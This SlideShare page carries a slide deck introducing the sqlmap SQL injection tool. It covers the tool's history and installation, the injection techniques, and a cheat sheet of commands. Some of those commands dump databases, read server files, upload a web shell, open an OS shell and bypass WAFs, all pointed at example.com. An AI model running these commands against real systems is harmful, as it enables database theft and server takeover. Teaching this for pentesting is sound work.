SlideShare a Scribd company logo
1 of 34
SQLMAP
Created By – Siddharth Wagh
An open source
pentesting tool
Mostly used for web
applicaton pentesting
An python based tool
Exploits vulnerabilities
in databases
Supports a wide
range of databases
Comes pre-installed
in kali linux
Bernardo Damele
Bernardo took-over the
sqlmap project originally
developed by Daniele
Bellucci, promoted and
presented it at black hat
Europe in 2009.
Miroslav Stampar
Miroslav got a call from the
developers and joined the
project in 2009. Miroslav
and bernando released a
stable version(0.8) of sqlmap
in 2010.
 In windows : Before installing sqlmap we need to make sure that the system has python installed.
To install python visit the link and follow the steps:
https://www.python.org/downloads/
After installing python download sqlmap from the given link:
https://sqlmap.org/
Follow the steps and instructions from the above link
 In kali linux: sqlmap comes pre installed in kali linux. Just start the bash shell and type sqlmap
 Ubuntu/other linux distros:
In https://www.ma-no.org/en/security/sqlmap-installation-and-usage-in-ubuntu-and-kali-linux
Follow the steps and instructions from above link
 In Mac:
https://macappstore.org/sqlmap/
Follow the steps and instructions from above link
MERCURY
Standard programming database
language used for relational
databases
MySQL, Oracle, Sybase, SQL
Server, Postgre are some
examples of relational
databases
DQL,DDL, DML, DCL are some
types of statements used in SQL
Developed by IBM in1970
recognized by ANSI and ISO
Ranked in top 10
vulnerabilities by
OWASP
Injects malicious code
in database
Can read, modify,
execute sensitive data
from the server
database
SQL INJECTION
Web
application
vulnerability
Hacker Web api server Victim’s Database
http://example.com?user=007 or ‘ 1=1;-- SELECT * FROM users WHERE user=001 or ‘ 1=1;--
Return the database containing all data
Hacker can access all data
 Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, union query-based,
stacked queries and out-of-band.
 Boolean-based blind: This technique relies on sending an SQL query to the database. This query forces the application to
return a boolean result(True/False), the content within the HTTP response will change, or remain the same. The result allows
an attacker to decide whether the query used returns true or false, even though no data from the database are recovered.
 Time-based blind: In this technique the attacker sends an query to the server to force a delay in the execution of the queries.
The response time indicates whether the result is true or false.
 Error-based: This technique forces the database to generate an error, giving the attacker information that can be used to
manipulate data in database.
 Union-based: This technique allows an attacker to extract information from the database quickly. This attack uses the sql union
operator. This attack allows the attacker to add a row to the existing database on the server.
 Stacked queries: In sql a semicolon(;) is used to terminate statements. By deleting the original query and adding new the
attacker can change data in the database. The semicolon allows the attacker to execute multiple statements into the database.
 Out-of-band: This technique mostly depends on features being enabled on the database server being used by the web
application. It occurs when an attacker is unable to use the same channel to launch the attack and gather results. This technique
rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with
Microsoft SQL Server’s xp_dirtree command, which can be used to make DNS requests to a server an attacker controls as well
as Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server an
attacker controls.
SQLMAP supports MySQL, Oracle, PostgreSQL, Microsoft SQL
Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP
MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB,
HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica,
Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle,
Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB,
FrontBase, Raima Database Manager, YugabyteDB and
Virtuoso database management systems.
LET’S START WITH SQLMAP
 Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address,
port and database name.
 Entirely, a range of entries or specific columns as per user's choice. The user can
Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
 Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
 Support to dump database tables also choose to dump only a range of characters from each column's entry.
 Support to search for specific database names, specific tables across all databases or specific columns across all databases
tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names
contain string like name and pass.
 Support to download and upload any file from the database server underlying file system when the database software is
MySQL, PostgreSQL or Microsoft SQL Server.
 Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system
when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
 Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying
operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface
(VNC) session as per user's choice.
 Support for database process user privilege escalation via metasploit's meterpreter getsystem command.
Basic syntax: sqlmap -u URL/-r FILE --function
 Get request: sqlmap -u http://example.com/page.php?id=1
 Using file: sqlmap -r request.txt
 Testing with pattern of URL’s: sqlmap -u http://example.com/page*/view --dbs
 Post request: sqlmap -u http://example.com/login.php --data “username=admin&password=admin&submit=submit” -p
username
 Using cookies: sqlmap -u http://example.com /enter.php --cookie=“PHPSESSID=4582s5545gfsg77854”
 Database enumaeration: sqlmap -u http://example.com/page.php?id=1 --dbs
 Identify current database: sqlmap -u http://example.com/page.php?id=1 --current-db
 Extract tables: sqlmap -u http://example.com/page.php?id=1 -D database --tables
 Extract columns: sqlmap -u http://example.com/page.php?id=1 -D database -T table_name --columns
 Dumping data: sqlmap -u http://example.com/page.php?id=1 –D database -T table_name -C colum_names --dump
 Multitreading: sqlmap -u http://example.com/page.php?id=1 --dbs --threads 5
 Null-connection: sqlmap -u http://example.com/page.php?id=1 --dbs --null-connection
 HTTP persistant connection: sqlmap -u http://example.com/page.php?id=1 --dbs --keep-alive
 Output prediction: sqlmap -u http://example.com/page.php?id=1 -D database -T table_name -C column_names --dump –predict-
output
 Checking privilages: sqlmap -u http://example.com/page.php?id=1 --privileages
 Reading files from the server: sqlmap -u http://example.com/page.php?id=1 --file-read=/etc/users
 Uploading files/shell: sqlmap -u http://example.com/page.php?id=1 --file-write=/root/shell.php --file-dest=/var/www/shell.php
 SQL shell: sqlmap -u http://example.cpm/page.php?id=1 --sql-shell
 OS shell: sqlmap -u http://example.com/page.php?id=1 --os-shell
 OS command exe without shell upload: sqlmap -u http://example.com/page.php?id=1 --os-cmd “username-a”
 Using proxy: sqlmap --proxy=“127.0.0.1:8080” -u http://example.com/page.php?id=1 --dbs
 Using proxy with credentials: sqlmap --proxy=“127.0.0.1:8080” --proxy-cred=username:password -u
http://example.com/page.php?id=1
 Crawling: sqlmap -u http://example.com/ --crawl=1
 Exploitation in verbose mode: sqlmap -u http://example.com/page.php?id=1 -v 3
 Bypassing WAF(web application firewall): sqlmap -u http://example.com/page.php?id=1 --tamper=apostrophemask
 Scanning key based authentication page: sqlmap -u http://example.com/page.php?id=1 --auth-file=
 To use default TOR network: sqlmap -u http://example.com/page.php?id=1 --tor
 Scanning with high risk and level: sqlmap -u http://example.com/page.php?id=1 --level=3 --risk=5
 Metasploit
 Acunetix
 Netsparker
 Intruder
 Beagle Security
 Appknox
 Sqlninja
 Detectify Deep Scan
 Havij
 BBQSQL
 Leviathan
 WhiteWidow
 Jsql
 Sqlmate
 Pybelt
 https://sqlmap.org/
 http://testphp.vulnweb.com/listproducts.php?cat=1
 https://owasp.org/
 https://www.g2.com/products/sqlmap/competitors/alternatives
 http://example.com/page.php?id=1
Sqlmap

More Related Content

What's hot

iOS Application Penetration Testing for Beginners
iOS Application Penetration Testing for BeginnersiOS Application Penetration Testing for Beginners
iOS Application Penetration Testing for BeginnersRyanISI
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionSoroush Dalili
 
Spring Security
Spring SecuritySpring Security
Spring SecuritySumit Gole
 
Network-Connected Development with ZeroMQ
Network-Connected Development with ZeroMQNetwork-Connected Development with ZeroMQ
Network-Connected Development with ZeroMQICS
 
A Basic Django Introduction
A Basic Django IntroductionA Basic Django Introduction
A Basic Django IntroductionGanga Ram
 
OWASP A4 XML External Entities (XXE)
OWASP A4 XML External Entities (XXE)OWASP A4 XML External Entities (XXE)
OWASP A4 XML External Entities (XXE)Michael Furman
 
Java And Multithreading
Java And MultithreadingJava And Multithreading
Java And MultithreadingShraddha
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectBlueinfy Solutions
 
Web application attacks
Web application attacksWeb application attacks
Web application attackshruth
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTIONAnoop T
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing TechniquesAvinash Thapa
 
Java IO Package and Streams
Java IO Package and StreamsJava IO Package and Streams
Java IO Package and Streamsbabak danyal
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricksGarethHeyes
 
Cross Origin Resource Sharing
Cross Origin Resource SharingCross Origin Resource Sharing
Cross Origin Resource SharingLuke Weerasooriya
 

What's hot (20)

iOS Application Penetration Testing for Beginners
iOS Application Penetration Testing for BeginnersiOS Application Penetration Testing for Beginners
iOS Application Penetration Testing for Beginners
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
 
Same origin policy
Same origin policySame origin policy
Same origin policy
 
Spring Security
Spring SecuritySpring Security
Spring Security
 
Sql Injection 0wning Enterprise
Sql Injection 0wning EnterpriseSql Injection 0wning Enterprise
Sql Injection 0wning Enterprise
 
Secure PHP Coding
Secure PHP CodingSecure PHP Coding
Secure PHP Coding
 
Network-Connected Development with ZeroMQ
Network-Connected Development with ZeroMQNetwork-Connected Development with ZeroMQ
Network-Connected Development with ZeroMQ
 
A Basic Django Introduction
A Basic Django IntroductionA Basic Django Introduction
A Basic Django Introduction
 
OWASP A4 XML External Entities (XXE)
OWASP A4 XML External Entities (XXE)OWASP A4 XML External Entities (XXE)
OWASP A4 XML External Entities (XXE)
 
Java And Multithreading
Java And MultithreadingJava And Multithreading
Java And Multithreading
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open Redirect
 
Web application attacks
Web application attacksWeb application attacks
Web application attacks
 
HTTP Security Headers
HTTP Security HeadersHTTP Security Headers
HTTP Security Headers
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
Pentesting jwt
Pentesting jwtPentesting jwt
Pentesting jwt
 
Java IO Package and Streams
Java IO Package and StreamsJava IO Package and Streams
Java IO Package and Streams
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricks
 
SQLITE Android
SQLITE AndroidSQLITE Android
SQLITE Android
 
Cross Origin Resource Sharing
Cross Origin Resource SharingCross Origin Resource Sharing
Cross Origin Resource Sharing
 

Similar to Sqlmap

SQLMAP Tool Usage - A Heads Up
SQLMAP Tool Usage - A  Heads UpSQLMAP Tool Usage - A  Heads Up
SQLMAP Tool Usage - A Heads UpMindfire Solutions
 
Uniface 9.7 en PostgreSQL
Uniface 9.7 en PostgreSQLUniface 9.7 en PostgreSQL
Uniface 9.7 en PostgreSQLArjen van Vliet
 
Database Security Explained
Database Security ExplainedDatabase Security Explained
Database Security Explainedwensheng wei
 
Developing Real-Time Data Pipelines with Apache Kafka
Developing Real-Time Data Pipelines with Apache KafkaDeveloping Real-Time Data Pipelines with Apache Kafka
Developing Real-Time Data Pipelines with Apache KafkaJoe Stein
 
Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...
Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...
Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...Nati Shalom
 
Scaling asp.net websites to millions of users
Scaling asp.net websites to millions of usersScaling asp.net websites to millions of users
Scaling asp.net websites to millions of usersoazabir
 
Web hacking series part 3
Web hacking series part 3Web hacking series part 3
Web hacking series part 3Aditya Kamat
 
Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...
Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...
Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...Guido Schmutz
 
Sql injection manish file
Sql injection manish fileSql injection manish file
Sql injection manish fileyukta888
 
Monitoring MySQL with Prometheus and Grafana
Monitoring MySQL with Prometheus and GrafanaMonitoring MySQL with Prometheus and Grafana
Monitoring MySQL with Prometheus and GrafanaJulien Pivotto
 
OSMC 2017 | Monitoring MySQL with Prometheus and Grafana by Julien Pivotto
OSMC 2017 | Monitoring  MySQL with Prometheus and Grafana by Julien PivottoOSMC 2017 | Monitoring  MySQL with Prometheus and Grafana by Julien Pivotto
OSMC 2017 | Monitoring MySQL with Prometheus and Grafana by Julien PivottoNETWAYS
 
Developing Realtime Data Pipelines With Apache Kafka
Developing Realtime Data Pipelines With Apache KafkaDeveloping Realtime Data Pipelines With Apache Kafka
Developing Realtime Data Pipelines With Apache KafkaJoe Stein
 
Web application penetration using SQLMAP.
Web application penetration using SQLMAP.Web application penetration using SQLMAP.
Web application penetration using SQLMAP.asmitaanpat
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack webhostingguy
 
Data Architectures for Robust Decision Making
Data Architectures for Robust Decision MakingData Architectures for Robust Decision Making
Data Architectures for Robust Decision MakingGwen (Chen) Shapira
 

Similar to Sqlmap (20)

SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
SQLMAP Tool Usage - A Heads Up
SQLMAP Tool Usage - A  Heads UpSQLMAP Tool Usage - A  Heads Up
SQLMAP Tool Usage - A Heads Up
 
Uniface 9.7 en PostgreSQL
Uniface 9.7 en PostgreSQLUniface 9.7 en PostgreSQL
Uniface 9.7 en PostgreSQL
 
Database Security Explained
Database Security ExplainedDatabase Security Explained
Database Security Explained
 
Backtrack Manual Part6
Backtrack Manual Part6Backtrack Manual Part6
Backtrack Manual Part6
 
Developing Real-Time Data Pipelines with Apache Kafka
Developing Real-Time Data Pipelines with Apache KafkaDeveloping Real-Time Data Pipelines with Apache Kafka
Developing Real-Time Data Pipelines with Apache Kafka
 
Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...
Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...
Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...
 
Scaling asp.net websites to millions of users
Scaling asp.net websites to millions of usersScaling asp.net websites to millions of users
Scaling asp.net websites to millions of users
 
Web hacking series part 3
Web hacking series part 3Web hacking series part 3
Web hacking series part 3
 
Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...
Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...
Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...
 
Sql injection manish file
Sql injection manish fileSql injection manish file
Sql injection manish file
 
Practical OData
Practical ODataPractical OData
Practical OData
 
Monitoring MySQL with Prometheus and Grafana
Monitoring MySQL with Prometheus and GrafanaMonitoring MySQL with Prometheus and Grafana
Monitoring MySQL with Prometheus and Grafana
 
OSMC 2017 | Monitoring MySQL with Prometheus and Grafana by Julien Pivotto
OSMC 2017 | Monitoring  MySQL with Prometheus and Grafana by Julien PivottoOSMC 2017 | Monitoring  MySQL with Prometheus and Grafana by Julien Pivotto
OSMC 2017 | Monitoring MySQL with Prometheus and Grafana by Julien Pivotto
 
Developing Realtime Data Pipelines With Apache Kafka
Developing Realtime Data Pipelines With Apache KafkaDeveloping Realtime Data Pipelines With Apache Kafka
Developing Realtime Data Pipelines With Apache Kafka
 
Attques web
Attques webAttques web
Attques web
 
Web application penetration using SQLMAP.
Web application penetration using SQLMAP.Web application penetration using SQLMAP.
Web application penetration using SQLMAP.
 
Advance Mobile Application Development class 01
Advance Mobile Application Development class 01Advance Mobile Application Development class 01
Advance Mobile Application Development class 01
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 
Data Architectures for Robust Decision Making
Data Architectures for Robust Decision MakingData Architectures for Robust Decision Making
Data Architectures for Robust Decision Making
 

Recently uploaded

"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024The Digital Insurer
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April  Automation LPDGAPIForce Zurich 5 April  Automation LPDG
APIForce Zurich 5 April Automation LPDGMarianaLemus7
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 

Recently uploaded (20)

"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April  Automation LPDGAPIForce Zurich 5 April  Automation LPDG
APIForce Zurich 5 April Automation LPDG
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 

Sqlmap

  • 1. SQLMAP Created By – Siddharth Wagh
  • 2. An open source pentesting tool Mostly used for web applicaton pentesting An python based tool Exploits vulnerabilities in databases Supports a wide range of databases Comes pre-installed in kali linux
  • 3. Bernardo Damele Bernardo took-over the sqlmap project originally developed by Daniele Bellucci, promoted and presented it at black hat Europe in 2009. Miroslav Stampar Miroslav got a call from the developers and joined the project in 2009. Miroslav and bernando released a stable version(0.8) of sqlmap in 2010.
  • 4.  In windows : Before installing sqlmap we need to make sure that the system has python installed. To install python visit the link and follow the steps: https://www.python.org/downloads/ After installing python download sqlmap from the given link: https://sqlmap.org/ Follow the steps and instructions from the above link  In kali linux: sqlmap comes pre installed in kali linux. Just start the bash shell and type sqlmap  Ubuntu/other linux distros: In https://www.ma-no.org/en/security/sqlmap-installation-and-usage-in-ubuntu-and-kali-linux Follow the steps and instructions from above link  In Mac: https://macappstore.org/sqlmap/ Follow the steps and instructions from above link
  • 5.
  • 6.
  • 7. MERCURY Standard programming database language used for relational databases MySQL, Oracle, Sybase, SQL Server, Postgre are some examples of relational databases DQL,DDL, DML, DCL are some types of statements used in SQL Developed by IBM in1970 recognized by ANSI and ISO
  • 8. Ranked in top 10 vulnerabilities by OWASP Injects malicious code in database Can read, modify, execute sensitive data from the server database SQL INJECTION Web application vulnerability
  • 9. Hacker Web api server Victim’s Database http://example.com?user=007 or ‘ 1=1;-- SELECT * FROM users WHERE user=001 or ‘ 1=1;-- Return the database containing all data Hacker can access all data
  • 10.  Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, union query-based, stacked queries and out-of-band.  Boolean-based blind: This technique relies on sending an SQL query to the database. This query forces the application to return a boolean result(True/False), the content within the HTTP response will change, or remain the same. The result allows an attacker to decide whether the query used returns true or false, even though no data from the database are recovered.  Time-based blind: In this technique the attacker sends an query to the server to force a delay in the execution of the queries. The response time indicates whether the result is true or false.
  • 11.  Error-based: This technique forces the database to generate an error, giving the attacker information that can be used to manipulate data in database.  Union-based: This technique allows an attacker to extract information from the database quickly. This attack uses the sql union operator. This attack allows the attacker to add a row to the existing database on the server.  Stacked queries: In sql a semicolon(;) is used to terminate statements. By deleting the original query and adding new the attacker can change data in the database. The semicolon allows the attacker to execute multiple statements into the database.  Out-of-band: This technique mostly depends on features being enabled on the database server being used by the web application. It occurs when an attacker is unable to use the same channel to launch the attack and gather results. This technique rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with Microsoft SQL Server’s xp_dirtree command, which can be used to make DNS requests to a server an attacker controls as well as Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server an attacker controls.
  • 12. SQLMAP supports MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB and Virtuoso database management systems.
  • 14.  Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.  Entirely, a range of entries or specific columns as per user's choice. The user can Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.  Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.  Support to dump database tables also choose to dump only a range of characters from each column's entry.  Support to search for specific database names, specific tables across all databases or specific columns across all databases tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.  Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  • 15.  Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.  Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.  Support for database process user privilege escalation via metasploit's meterpreter getsystem command.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22. Basic syntax: sqlmap -u URL/-r FILE --function  Get request: sqlmap -u http://example.com/page.php?id=1  Using file: sqlmap -r request.txt  Testing with pattern of URL’s: sqlmap -u http://example.com/page*/view --dbs  Post request: sqlmap -u http://example.com/login.php --data “username=admin&password=admin&submit=submit” -p username  Using cookies: sqlmap -u http://example.com /enter.php --cookie=“PHPSESSID=4582s5545gfsg77854”  Database enumaeration: sqlmap -u http://example.com/page.php?id=1 --dbs
